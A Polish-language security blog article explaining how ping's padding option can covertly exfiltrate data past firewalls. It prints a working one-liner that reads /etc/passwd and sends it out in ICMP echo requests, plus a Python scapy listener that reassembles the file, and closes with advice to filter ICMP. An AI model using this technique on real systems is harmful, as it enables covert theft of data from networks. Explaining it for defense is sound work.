Wyciek danych poprzez ping
Napisał: Patryk Krawaczyński
06/12/2015 w Bezpieczeństwo Brak komentarzy. (artykuł nr 492, ilość słów: 699)
Dostanie się do chronionej sieci, a pobranie z niej danych bez bycia zauważonym to dwie różne techniki pokonywania zabezpieczeń. Tylko dlatego, że ofiara skusiła się na kliknięcie spreparowanego linku z szkodliwym oprogramowaniem nie znaczy, że agresor właśnie otrzymał otwartą furtkę, aby przejść przez firewall lub IDS z danymi na których mu zależy. Chyba, że użyje do tego prostego programu ping?
Ping jest najczęściej używanym narzędziem do diagnostyki łączności w sieciach LAN i WAN. Występuje jako standardowy pakiet w systemach Windows oraz *nix w dodatku nie wymaga praw administratora, aby zostać uruchomionym przez zwykłego użytkownika oraz pozwala poprzez parametr ‘-p
‘ na dodanie 16 bajtów dodatkowego bloku danych. Jeśli połączyć to z ‘-c
‘ (liczbą przesyłanych żądań ICMP ECHO_REQUEST
) oraz ‘-t
‘ (określenie czasu wygaśnięcia żądania przez wyjściem programu) okazuje się, że za pomocą tego prostego programu możemy spreparować oraz wysłać przez filtrowaną sieć pakiet z dowolnymi 16 bajtami danych. Ponieważ większość sieci pozwala na wysyłanie żądań odpowiedzi z programu ping (rzadko na odpowiedzi na nie) – atakujący może bez problemu użyć tego programu do eksfiltracji danych z sieci:
cat /etc/passwd | xxd -p -c 2 | xargs -n 1 -I '{}' ping -c 1 -t 1 -p '{}' 192.168.1.2; ping -c 1 -t 1 -s 55 192.168.1.2
Potrzebne jest jeszcze narzędzie, które poskłada przesyłane dane z powrotem w całość:
#!/usr/bin/env python # # Copyright (C) SafeBreach, Inc. # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # import sys import argparse import scapy.all config = None def write_or_stop(pkt): global config # Is it signal pkt or data pkt? if pkt[scapy.all.IP].len == 83: # Signal pkt, stop! config.output_file.flush() config.output_file.close() return True # Data pkt, next ... payload = pkt.lastlayer().load config.output_file.write(payload[8:8 + config.chunk_size]) return False def main(argv): global config parser = argparse.ArgumentParser(description='Reassemble FILE from ICMP ECHO REQUESTs') parser.add_argument('-s', '--chunk-size', metavar='SIZE', type=int, default=2, help='How many bytes are exfiltrated in a single ECHO_REQUEST pkt') parser.add_argument('-o', '--output-file', nargs='?', type=argparse.FileType('w+'), default=sys.stdout) config = parser.parse_args(argv) scapy.all.sniff(filter="icmp[icmptype] == 8", stop_filter=write_or_stop, store=0) if __name__ == "__main__": sys.exit(main(sys.argv[1:]))
Jak to dokładnie działa? Jednolinijkowiec używa narzędzia cat
do wczytania docelowego pliku i wypisuje jego zawartość na standardowe wyjście potokując dane do programu xxd
, który zamienia je w format heksadecymalny (2 bajty per linia). Następnie xargs
przekazuje te dwa bajty w formacie hex do bloku dodatkowych danych programu ping
. Na samym końcu po przetworzeniu całego pliku następuje jeszcze jedno polecenie ping z rozmiarem pakietu 55 bajtów (standardowo jest to 56, zanim zostanie dodane ekstra 8 bajtów nagłówka ICMP dając finalnie 64 bajty).
Powyższy skrypt napisany w języku python używa scapy to implementacji sniffera, który przechwytuje komunikaty ICMP ECHO_REQUEST i dla każdego pakietu wyciąga X (standardowo 2) bajty z dodatkowego bloku danych i zapisuje je do pliku. Wyjątkiem jest kiedy skrypt otrzyma pakiet o rozmiarze 55 bajtów (83 = 55 bajtów danych + 8 bajtów nagłówka ICMP + 20 bajtów nagłówka IPv4). Wówczas następuje wyczyszczenie buforów, zamknięcie pliku oraz wyjście.
Jest to kolejny dowód, aby przeprowadzać dokładną filtrację z pozoru niewinnych komunikatów diagnostycznych, które mogą posłużyć do zupełnie innych celów niż zostały stworzone. Nie wspominając już o zdejmowaniu suidów z programu ping…
Więcej informacji: I See Your True ECHO_REQUEST, udptunnel, icmptunnel